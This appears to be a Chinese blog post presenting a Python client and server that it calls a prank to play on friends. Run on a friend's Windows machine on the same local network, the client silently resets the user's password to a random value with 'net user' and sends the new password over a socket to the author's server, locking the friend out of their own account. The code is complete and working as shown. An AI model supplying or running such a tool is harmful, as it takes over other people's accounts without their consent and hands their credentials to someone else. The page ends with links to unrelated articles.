一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python实现网站文件的全备份和差异备份
Nov 30 Python
python实现将汉字转换成汉语拼音的库
May 05 Python
详解使用python的logging模块在stdout输出的两种方法
May 17 Python
利用python批量给云主机配置安全组的方法教程
Jun 21 Python
解决python replace函数替换无效问题
Jan 18 Python
Python龙贝格法求积分实例
Feb 29 Python
如何配置关联Python 解释器 Anaconda的教程(图解)
Apr 30 Python
python3+selenium获取页面加载的所有静态资源文件链接操作
May 04 Python
使用Python-OpenCV消除图像中孤立的小区域操作
Jul 05 Python
详解Python遍历列表时删除元素的正确做法
Jan 07 Python
python 逆向爬虫正确调用 JAR 加密逻辑
Jan 12 Python
Python3利用openpyxl读写Excel文件的方法实例
Feb 03 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
详解PHP导入导出CSV文件
2014/11/03 PHP
php使用array_search函数实现数组查找的方法
2015/06/12 PHP
php设计模式之策略模式实例分析【星际争霸游戏案例】
2020/03/26 PHP
nodejs创建web服务器之hello world程序
2015/08/20 NodeJs
javascript HTML5文件上传FileReader API
2020/03/27 Javascript
Vue.js实战之Vuex的入门教程
2017/04/01 Javascript
vue.js实现用户评论、登录、注册、及修改信息功能
2020/05/30 Javascript
vue中遇到的坑之变化检测问题(数组相关)
2017/10/13 Javascript
小程序实现带年月选取效果的日历
2018/06/27 Javascript
解决vue cli使用typescript后打包巨慢的问题
2019/09/30 Javascript
JavaScript修改注册表实例代码
2020/01/05 Javascript
nginx配置域名后的二级目录访问不同项目的配置操作
2020/11/06 Javascript
Python os模块介绍
2014/11/30 Python
Python 字典dict使用介绍
2014/11/30 Python
Python实现数据库编程方法详解
2015/06/09 Python
Python操作MySQL模拟银行转账
2018/03/12 Python
Python中py文件引用另一个py文件变量的方法
2018/04/29 Python
Flask框架web开发之零基础入门
2018/12/10 Python
详解如何管理多个Python版本和虚拟环境
2019/05/10 Python
pyqt5 键盘监听按下enter 就登陆的实例
2019/06/25 Python
Django基础知识 URL路由系统详解
2019/07/18 Python
python 两个一样的字符串用==结果为false问题的解决
2020/03/12 Python
Pandas把dataframe或series转换成list的方法
2020/06/14 Python
Python局部变量与全局变量区别原理解析
2020/07/14 Python
python 服务器运行代码报错ModuleNotFoundError的解决办法
2020/09/16 Python
Pycharm创建python文件自动添加日期作者等信息(步骤详解)
2021/02/03 Python
Ted Baker英国官网:男士和女士服装及配件
2017/03/13 全球购物
美国咖啡批发网站:Coffee.org
2017/06/29 全球购物
Linux上比较文件的命令都有哪些
2013/09/28 面试题
护理学应聘自荐书范文
2014/02/05 职场文书
春节联欢会主持词
2014/03/24 职场文书
档案信息化建设方案
2014/05/16 职场文书
会计专业应届生自荐信
2014/06/28 职场文书
迎新春趣味活动方案
2014/08/24 职场文书
精神病医院见习报告
2014/11/03 职场文书
2014年涉外离婚协议书范本
2014/11/20 职场文书